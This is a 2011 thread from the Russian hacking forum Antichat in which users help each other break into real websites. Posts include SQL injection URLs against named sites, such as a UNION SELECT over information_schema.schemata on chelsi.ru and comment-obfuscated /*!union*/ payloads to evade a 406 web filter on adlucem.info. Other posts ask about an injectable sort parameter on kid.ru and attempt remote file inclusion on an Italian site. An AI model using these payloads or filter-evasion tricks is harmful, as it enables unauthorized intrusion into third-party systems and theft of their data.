HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #18241  
Старый 01.10.2011, 21:25
vaddd
Познающий
Регистрация: 06.01.2009
Сообщений: 69
С нами: 9128075

Репутация: 3
По умолчанию

Цитата:
Сообщение от OxoTnik  
Ситуация
Я вошел в базу данных и с этим нет проблем, но мне известно что там ещё есть ещё 1 база данных, как там прогуляться, и что для этого нужно сделать?
узнать ее имя, и составлять запросы типа:

SELECT column from database2.table
 
Ответить с цитированием

  #18242  
Старый 01.10.2011, 21:30
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами: 9061916

Репутация: 0
По умолчанию

Цитата:
Сообщение от OxoTnik  
Ситуация
Я вошел в базу данных и с этим нет проблем, но мне известно что там ещё есть ещё 1 база данных, как там прогуляться, и что для этого нужно сделать?
нет там больше баз.

http://www.chelsi.ru/comment.php?idart=-11364+union+%0A+select+1,2,schema_name,4,5,6+from+ information_schema.schemata

чел, ответы на ВСЕ свои вопросы, заданные в этой теме ты легко можешь найти в поиске или в манах, например в том, ссылку на который я запостил выше. а разжевать всё и положить в ротик, означает создать новый поток тупых вопросов.
 
Ответить с цитированием

  #18243  
Старый 01.10.2011, 21:35
Bmen
Новичок
Регистрация: 14.08.2011
Сообщений: 3
С нами: 7761206

Репутация: 0
По умолчанию

Привет!

Проблема вот в чём, на сервере наверно сайт фильтр. Когда делаю запрос - http://www.adlucem.info/?sadala=-15+union+select+1,2,3,4,5,6,7,8,9--

появляется Not Acceptable 406 и так на всех сайтах на серверы где есть ошибка. Как можно это обойти?

Спасибо за внимание!
 
Ответить с цитированием

  #18244  
Старый 01.10.2011, 21:39
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами: 7921046

Репутация: 53


По умолчанию

http://www.adlucem.info/?sadala=-15+union+/*!select*/+1,2,3,4,5,6,7,8,9--+
 
Ответить с цитированием

  #18245  
Старый 01.10.2011, 21:41
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию

Цитата:
Сообщение от Bmen  
Привет!
Проблема вот в чём, на сервере наверно сайт фильтр. Когда делаю запрос - http://www.adlucem.info/?sadala=-15+union+select+1,2,3,4,5,6,7,8,9--
появляется Not Acceptable 406 и так на всех сайтах на серверы где есть ошибка. Как можно это обойти?
Спасибо за внимание!
http://www.adlucem.info/?sadala=-15+/*!union*/+select+1,2,3,4,5,6,7,8,version()--+
 
Ответить с цитированием

  #18246  
Старый 02.10.2011, 00:18
dimm666
Новичок
Регистрация: 29.03.2010
Сообщений: 13
С нами: 8484716

Репутация: 5
По умолчанию

Всем доброго дня. Можно ли как-то использовать

http://www.kid.ru/forum/index.php?act=Members&max_results=30&filter=1&sort _order=asc&sort_key=name&st='

? Бился я долго, но проблема в LIMIT после ORDER BY.
 
Ответить с цитированием

  #18247  
Старый 02.10.2011, 04:26
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
С нами: 8817310

Репутация: 108
По умолчанию

Привет. Пытаюсь приинклудить файл:

http://www.vergaviagrande.it/iframe.php?file=http://serpov-alex.narod2.ru/1.txt

В нем такое содержимое:

Но в результате содержимое файла тупо выводиться на экран. Я так понимаю что ничего не получиться. Но если сделать так:

http://www.vergaviagrande.it/iframe.php?file=qwe

То выведутся ошибки, точно такие, какие наводят во всех статьях про пхп-инклуды.

Собственно вопрос: что я не так делаю?
 
Ответить с цитированием

  #18248  
Старый 02.10.2011, 04:28
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от =Zeus=  
Привет. Пытаюсь приинклудить файл:
http://www.vergaviagrande.it/iframe.php?file=http://serpov-alex.narod2.ru/1.txt
В нем такое содержимое:
Но в результате содержимое файла тупо выводиться на экран. Я так понимаю что ничего не получиться. Но если сделать так:
http://www.vergaviagrande.it/iframe.php?file=qwe
То выведутся ошибки, точно такие, какие наводят во всех статьях про пхп-инклуды.
Собственно вопрос: что я не так делаю?
имя скрипта должно тебе подсказывать что там не инклуд, файлы открываются в фрейме
 
Ответить с цитированием

  #18249  
Старый 02.10.2011, 04:31
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
С нами: 8817310

Репутация: 108
По умолчанию

Цитата:
Сообщение от Konqi  
имя скрипта должно тебе подсказывать что там не инклуд, файлы открываются в фрейме
* Facepalm *

Спасибо ))
 
Ответить с цитированием

  #18250  
Старый 02.10.2011, 04:51
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

=Zeus=

инклуд тоже есть, но локальный

просто скрипт хуего написано, заблуждает

логика такая, если в имени файла есть http:// то файл открывается в фрейме, если имя файла локальное, то инклудится

(во всяком случий я так понял)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.